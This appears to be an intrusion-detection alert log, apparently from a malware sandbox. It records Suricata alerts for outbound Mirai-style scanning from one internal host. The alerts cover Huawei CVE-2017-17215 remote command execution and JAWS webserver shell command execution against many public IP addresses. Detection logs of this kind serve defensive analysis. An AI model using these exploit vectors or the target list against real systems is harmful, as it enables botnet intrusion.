Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:54632 -> 197.232.110.55:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:34284 -> 13.67.141.213:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:34284 -> 13.67.141.213:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:53654 -> 197.221.101.29:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:49254 -> 50.3.239.91:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:49254 -> 50.3.239.91:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:44330 -> 38.153.191.124:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:44330 -> 38.153.191.124:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:38240 -> 205.42.223.76:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:57792 -> 102.72.235.212:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:57792 -> 102.72.235.212:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:38240 -> 205.42.223.76:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:39842 -> 89.7.20.131:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:39842 -> 89.7.20.131:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:34932 -> 104.171.23.145:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:34534 -> 51.51.22.8:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:34932 -> 104.171.23.145:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:34534 -> 51.51.22.8:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:56488 -> 95.67.114.253:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:56488 -> 95.67.114.253:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:49530 -> 188.243.47.249:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:49530 -> 188.243.47.249:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:45274 -> 146.132.188.166:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:45274 -> 146.132.188.166:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:42056 -> 222.216.121.162:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:42056 -> 222.216.121.162:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:53526 -> 153.112.177.229:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:35888 -> 53.132.117.184:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:53526 -> 153.112.177.229:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:55950 -> 198.29.2.103:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:55950 -> 198.29.2.103:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:35888 -> 53.132.117.184:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:50114 -> 120.173.20.194:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:50114 -> 120.173.20.194:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:37062 -> 178.209.10.75:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:37062 -> 178.209.10.75:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:47602 -> 101.46.179.16:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:47602 -> 101.46.179.16:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:50594 -> 219.135.74.124:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:50594 -> 219.135.74.124:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:54802 -> 131.246.4.63:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:54802 -> 131.246.4.63:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:55162 -> 144.38.20.0:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:55162 -> 144.38.20.0:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:44620 -> 45.40.116.252:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:44620 -> 45.40.116.252:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:49344 -> 129.100.184.223:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:49344 -> 129.100.184.223:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:40424 -> 179.151.244.139:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:34024 -> 51.255.125.138:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:34024 -> 51.255.125.138:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:32818 -> 12.128.53.10:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:40424 -> 179.151.244.139:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:57244 -> 220.191.45.226:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:57612 -> 71.139.246.174:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:34882 -> 131.92.253.181:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:34882 -> 131.92.253.181:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:57244 -> 220.191.45.226:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:57612 -> 71.139.246.174:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:55784 -> 9.156.190.104:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:52898 -> 52.109.45.182:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:52898 -> 52.109.45.182:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:44466 -> 79.244.180.207:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:44466 -> 79.244.180.207:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:55784 -> 9.156.190.104:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:34724 -> 175.139.215.108:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:34724 -> 175.139.215.108:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:58542 -> 152.243.171.49:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:48408 -> 211.227.175.197:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:48408 -> 211.227.175.197:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:58542 -> 152.243.171.49:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:32818 -> 12.128.53.10:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:44054 -> 52.59.102.77:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:44054 -> 52.59.102.77:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:34928 -> 184.86.41.56:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:34928 -> 184.86.41.56:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:48428 -> 126.128.117.174:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:48428 -> 126.128.117.174:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:52678 -> 83.51.41.144:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:41164 -> 180.109.221.172:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:52678 -> 83.51.41.144:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:41164 -> 180.109.221.172:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:55066 -> 176.205.213.17:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:35072 -> 177.225.31.244:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:55066 -> 176.205.213.17:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:40288 -> 103.214.187.227:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:60554 -> 146.197.93.177:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:35072 -> 177.225.31.244:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:60554 -> 146.197.93.177:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:47196 -> 161.47.72.130:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:46746 -> 175.217.230.70:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:46746 -> 175.217.230.70:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:47196 -> 161.47.72.130:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:55712 -> 146.160.159.128:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:55712 -> 146.160.159.128:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:56698 -> 193.187.119.1:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:56698 -> 193.187.119.1:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:33716 -> 219.25.117.201:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:33716 -> 219.25.117.201:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:40288 -> 103.214.187.227:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:42634 -> 159.198.67.110:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:42634 -> 159.198.67.110:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:55344 -> 111.129.118.141:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:55344 -> 111.129.118.141:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:46556 -> 136.180.192.64:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:46556 -> 136.180.192.64:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:56630 -> 89.106.217.241:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:56630 -> 89.106.217.241:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:43422 -> 20.223.0.235:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:39812 -> 14.2.153.102:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:43422 -> 20.223.0.235:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:39812 -> 14.2.153.102:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:53122 -> 170.152.121.169:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:53122 -> 170.152.121.169:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:44250 -> 176.88.220.123:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:44250 -> 176.88.220.123:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:55264 -> 197.25.172.124:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:58794 -> 197.57.240.239:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:57276 -> 156.124.55.110:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:57190 -> 204.71.210.36:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:33594 -> 197.184.110.72:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:59074 -> 155.203.22.126:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:59074 -> 155.203.22.126:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:32914 -> 156.73.199.208:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:57190 -> 204.71.210.36:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:58128 -> 192.62.46.240:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:58128 -> 192.62.46.240:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:58900 -> 181.16.202.67:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:58900 -> 181.16.202.67:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:60642 -> 65.196.231.131:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:60642 -> 65.196.231.131:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:50374 -> 118.211.183.67:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:48110 -> 75.96.152.124:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:48110 -> 75.96.152.124:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:50374 -> 118.211.183.67:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:60744 -> 80.213.14.165:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:60744 -> 80.213.14.165:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:48388 -> 216.45.248.172:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:48388 -> 216.45.248.172:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:41142 -> 105.208.107.220:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:41142 -> 105.208.107.220:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:42638 -> 177.95.70.145:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:42638 -> 177.95.70.145:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:44924 -> 137.96.172.137:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:36340 -> 88.109.144.121:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:44924 -> 137.96.172.137:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:57340 -> 186.45.45.229:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:57340 -> 186.45.45.229:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:41418 -> 84.171.71.67:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:41418 -> 84.171.71.67:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:46408 -> 107.254.158.162:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:46408 -> 107.254.158.162:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:54912 -> 158.229.16.172:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:54912 -> 158.229.16.172:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:36340 -> 88.109.144.121:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:35012 -> 116.59.162.85:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:35012 -> 116.59.162.85:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:47328 -> 14.201.184.218:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:47328 -> 14.201.184.218:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:36494 -> 199.96.168.179:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:36494 -> 199.96.168.179:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:40216 -> 149.214.222.91:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:40216 -> 149.214.222.91:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:47168 -> 156.224.237.85:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:50796 -> 156.213.87.168:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:56492 -> 41.50.74.64:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:57816 -> 156.242.231.165:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:53784 -> 197.5.80.25:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:46904 -> 134.104.83.77:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:46904 -> 134.104.83.77:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:44118 -> 154.175.128.164:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:44118 -> 154.175.128.164:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:46674 -> 41.174.160.8:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:37540 -> 41.76.192.116:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:35066 -> 145.33.190.157:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:50074 -> 112.198.79.120:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:35066 -> 145.33.190.157:80
